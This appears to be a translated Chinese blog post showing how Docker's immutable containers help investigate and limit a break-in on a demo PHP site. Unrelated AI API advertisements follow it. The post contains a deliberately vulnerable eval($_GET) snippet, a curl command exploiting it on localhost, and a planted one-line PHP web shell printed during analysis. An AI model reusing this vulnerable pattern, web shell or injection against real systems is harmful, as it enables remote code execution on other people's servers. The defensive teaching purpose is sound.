Docker容器的好处之一,就是它们都是不可变的(immutable)。Docker内置了一个copy-on-write文件系统,这意味着基础镜像无法被修改,除非你明确的发起一个commit。
它的作用之一,就是让你可以轻松的检查drift,在你尝试调查安全事件的时候,它会为你提供方便。
Demo程序
我们用下面这个基础设施来举例:

这个系统的前端是一个PHP程序,后端数据库使用的是MySQL服务器。你可以通过下面的代码来进行尝试:
➜ docker run -d --name db -e MYSQL_ROOT_PASSWORD=insecurepwd mariadb
➜ docker run -d -p 80:80 --link db:db diogomonica/phphack在配置好前端和数据库之后,你应该会看到下面这个提示:
很不幸,和其他PHP程序一样,这个程序也有一个远程代码执行漏洞:
if($links) {
<h3>Links found</h3>
...
eval($_GET['shell']);
?>看上去有在偷偷使用eval。任何攻击者都能够使用这个漏洞,并且在远程host上执行任意指令:
➜ curl -s http://localhost/\?shell\=system\("id"\)\; | grep "uid="
uid=33(www-data) gid=33(www-data) groups=33(www-data)任何攻击者都可以通过下载PHP shell和toolkit对你的网站进行攻击,有的攻击者甚至还会更改你的网站设计:
修复
我们接着再来看不可变基础设施,这个东西能让我们清楚的看到系统上所有出现过的变更。使用docker diff命令,我们就可以看到攻击者在系统中都做了哪些修改:
➜ docker diff pensive_meitner
C /run
C /run/apache2
A /run/apache2/apache2.pid
C /run/lock
C /run/lock/apache2
C /var
C /var/www
C /var/www/html
C /var/www/html/index.html
A /var/www/html/shell.php 看起来攻击者不仅修改了我们的index.html,还下载了一个php-shell。现在我们最主要的工作,就是让网站重新上线。
使用docker commit,我们可以将这个镜像保存,以供日后参考,而由于容器是不可变的,因此我们只需要重启容器,就可以让网站重新上线:
➜ docker commit pensive_meitner
sha256:ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3
➜ docker kill pensive_meitner
➜ docker run -d -p 80:80 --link db:db diogomonica/phphack
我们现在再来看那个保存下来的镜像,看看攻击者究竟都修改了什么:
➜ docker run -it ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3 sh
# cat index.html
<blink>HACKED BY SUPER ELITE GROUP OF HACKERS</blink>
# cat shell.php
<?php
eval($_GET['cmd']);
?>貌似我们被著名的SUPER ELITE GROUP OF HACKERS攻击了。 ¯\(ツ)/¯
增加黑客攻击成本
在被攻击后查看攻击内容是一个很实用的功能,但是如何才能避免被攻击?这个时候--read-only就要发挥作用了。
--read-only会让Docker不允许任何在容器的file-system内进行写入操作。它可以避免index.php被修改,更重要的是,它不会允许攻击者下载php shell,以及任何其他对于攻击者来说有用的工具。
我们下载来试验一下:
➜ docker run -p 80:80 --link db:db -v /tmp/apache2:/var/run/apache2/ -v /tmp/apache:/var/lock/apache2/ --sig-proxy=false --read-only diogomonica/phphack
...
172.17.0.1 - - [04/Sep/2016:03:59:06 +0000] "GET / HTTP/1.1" 200 219518 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48"
sh: 1: cannot create index.html: Read-only file system由于我们的文件系统现在是只读状态,因此攻击者无法修改index.html�
这个方法能阻止左右攻击吗?
肯定是不可以的。在我们能够修复RCE漏洞之前,攻击者依然可以在host上运行代码,偷取我们的权限,在数据库中盗取数据。但是尽管如此,我们毕竟通过这个简单的方法提升了黑客的攻击难度,让系统变得更安全了一些。
总结
系统的安全性永远无法达到完美,但是使用不可变基础设施能让我们更快的进行响应、修复。

原文来自:SDK.cn
声明:所有来源为“聚合数据”的内容信息,未经本网许可,不得转载!如对内容有异议或投诉,请与我们联系。邮箱:marketing@think-land.com
提供多种拟人音色,支持多语言及方言,并可在同一音色下输出多语言内容。系统可自适应语气,流畅处理复杂文本。
Nano Banana(gemini-2.5-flash-image 和 gemini-3-pro-image-preview图像模型)是图像生成与编辑的最佳选择,可集成 Nano Banana API,实现高速预览。
支持通过自然语言文本智能生成高质量短视频。用户只需输入一段描述性文字,即可自动合成画面连贯、风格鲜明、配乐匹配的定制化视频内容。适用于短视频创作、广告预演、社交内容生成、游戏素材制作等场景,为开发者与创作者提供高效、灵活、富有想象力的视频生产新范式。
先进的图像理解和分析能力,它能够快速准确地解析和理解图像内容。无论是自然风景、城市建筑还是复杂的场景与活动,都能提供详细的描述和深入的分析。
根据文本提示(prompt)和图片公网访问链接,编辑原图按照特定风格、场景和氛围感的输出新的图像。广泛应用于电商营销、广告设计、创意灵感等领域,为用户带来高效且个性化的AI图像创作体验。